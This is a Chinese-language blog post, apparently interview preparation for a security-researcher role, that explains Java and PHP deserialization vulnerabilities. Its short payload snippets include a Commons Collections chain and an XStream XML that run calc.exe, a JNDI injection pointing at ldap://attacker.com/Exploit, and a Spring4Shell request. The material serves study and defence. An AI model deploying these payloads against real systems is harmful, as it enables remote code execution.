网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,接待关注。
目录
某安全公司-安全研究员
Burp插件编写原理
CC1链原理分析(以LazyMap链为例)
Fastjson与Jackson反序列化原理对比
BCEL类加载器的更换方案
XStream反序列化漏洞原理
JEP 290原理与绕过
RMI原理与漏洞
JdbcRowSetImpl触发JNDI注入
CC链四个Transformer区别
反序列化其他触发点
Spring相关RCE原理(以Spring4Shell为例)
IIOP与T3协议反序列化漏洞
PHP反序列化漏洞
某安全公司-安全研究员
- 一面
- burp插件编写原理
- CC1-7找一条链子讲一下原理
- Fastjson和Jackson反序列化原理讲讲
- BCEL可以用其他类加载器吗
- Xtream反序列化讲讲
- 了解JEP290的原理吗
- RMI原理以及相关漏洞
- JdbcRowSetlmpl如何触发JNDI注入
- CC链四个Transformer区别
- 反序列化除了readObject还有什么触发点
- 讲下Spring相关的RCE原理
- 讲讲IIOP和T3反序列化原理
- PHP等语言的反序列化讲讲
复制代码 Burp插件编写原理
- 核心机制
- Burp基于Java的插件体系,通过实现IBurpExtender接口扩展功能。
- 核心API:
- IExtensionHelpers:处置惩罚HTTP请求/响应(如解码、修改头)。
- IHttpListener:监听并拦截流量。
- IScannerCheck:自定义漏洞扫描逻辑。
- 开发流程
- 编写类实现IBurpExtender,注册到Burp的registerExtenderCallbacks。
- 示例:java public class DemoPlugin implements IBurpExtender { public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { callbacks.setExtensionName("Demo Plugin"); callbacks.registerHttpListener(new CustomHttpListener()); } }
- 实战应用
- 主动扫描插件:检测特定参数(如password明文传输)。
- 被动插件:自动更换Token或添加自定义Header。
CC1链原理分析(以LazyMap链为例)
- Gadget链组成
- 触发点:AnnotationInvocationHandler.readObject() → Map.entrySet() 。
- 核心类:
- LazyMap.get() :触发ChainedTransformer.transform() 。
- InvokerTransformer:反射调用Runtime.exec() 。
- 构造过程
- 通过动态署理(Proxy.newProxyInstance() )将AnnotationInvocationHandler与LazyMap绑定。
- 序列化署理对象后,反序列化触发get()方法执行命令。
- 代码片断 java Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers);
Fastjson与Jackson反序列化原理对比
特性FastjsonJackson触发机制通过@type指定类,自动调用setter/getter。需开启enableDefaultTyping多态范例处置惩罚。漏洞根源AutoType功能未严格校验,加载任意类。反序列化时利用getter或构造函数注入。防御措施关闭AutoType或利用白名单。禁用多态范例处置惩罚,利用@JsonTypeId注解。经典漏洞CVE-2017-18349(RCE via TemplatesImpl)。CVE-2019-12384(JDBC连接池注入)。 BCEL类加载器的更换方案
- BCEL特性
- com.sun.org.apache.bcel.internal.util.ClassLoader 可从字节码字符串加载类。
- 示例:ClassLoader.loadClass("$$BCEL$$$l...").newInstance() 。
- 更换方案
- URLClassLoader:加载远程JAR或Class文件。
- DefineClass(反射):通过Unsafe.defineClass 直接加载字节码。
- Javassist:动态天生类并加载。
XStream反序列化漏洞原理
- 核心问题
- XStream未限定反序列化时的类范例,攻击者可构造恶意XML触发任意代码。
- 利用链示例
- CVE-2021-21344:通过ImageIO$ContainsFilter类执行命令。
- XML构造:xml <sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command><string>calc.exe</string></command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
- 修复方案
- 利用XStream.addPermission() 设置反序列化白名单。
JEP 290原理与绕过
- JEP 290机制
- 过滤器接口:通过ObjectInputFilter检查反序列化的类是否允许。
- 默认实现:限定数组深度、类名黑名单(如AnnotationInvocationHandler)。
- 绕过方法
- 数组范例肴杂:利用HashSet或HashMap嵌套绕过深度检查。
- 非标准类加载器:如BCEL加载绕过类名检查。
- 二次反序列化:初次加载正当类,触发二次漏洞。
RMI原理与漏洞
- RMI架构
- Registry:注册中心管理远程对象引用。
- Client/Server:客户端通过存根(Stub)调用远程方法。
- 漏洞场景
- 反序列化攻击:攻击注册中心(发送恶意对象)或客户端(恶意返回值)。
- CVE-2017-3248:Java RMI Registry反序列化RCE。
- 防御措施
JdbcRowSetImpl触发JNDI注入
- 利用链
- JdbcRowSetImpl.setDataSourceName() → setAutoCommit() → connect() → lookup()。
- 构造Payload java JdbcRowSetImpl jdbc = new JdbcRowSetImpl(); jdbc.setDataSourceName("ldap://attacker.com/Exploit"); jdbc.setAutoCommit(true); // 触发connect()
- 依靠条件
- 目标应用需存在JNDI注入漏洞(JDK版本≤8u191)。
CC链四个Transformer区别
Transformer作用ConstantTransformer返回固定值,作为链的起点。InvokerTransformer反射调用方法(如Runtime.exec() )。ChainedTransformer按次序执行多个Transformer。InstantiateTransformer实例化类(如调用构造函数)。 反序列化其他触发点
- readResolve()
- readExternal()
- 实现Externalizable接口的类会调用此方法。
- finalize()
- toString()/hashCode()
- 在集合利用(如HashMap.put() )中自动调用。
Spring相关RCE原理(以Spring4Shell为例)
- 漏洞背景
- CVE-2022-22965:通过数据绑定修改Tomcat日记路径,写入WebShell。
- 利用条件
- JDK≥9 + Tomcat + Spring MVC参数绑定。
- Payload示例 bash curl -X POST "http://target.com/user?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
- 修复方案
- 升级Spring Framework至5.3.18+或5.2.20+。
IIOP与T3协议反序列化漏洞
- IIOP(CORBA)
- CVE-2015-4852:WebLogic IIOP协议反序列化漏洞,利用InvokerTransformer执行命令。
- T3(WebLogic专有协议)
- CVE-2018-2628:T3协议传输恶意序列化对象触发RCE。
- 防御
- 禁用IIOP/T3协议,或升级WebLogic补丁。
PHP反序列化漏洞
- 触发点
- 魔术方法:__wakeup()、__destruct()中的伤害利用。
- POP链构造
- 利用内置类(如SoapClient)触发SSRF或文件利用。
- 案例
- Laravel RCE(CVE-2021-3129):通过Phar反序列化执行命令。
- 防御
- 避免反序列化用户输入,利用json_encode更换。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |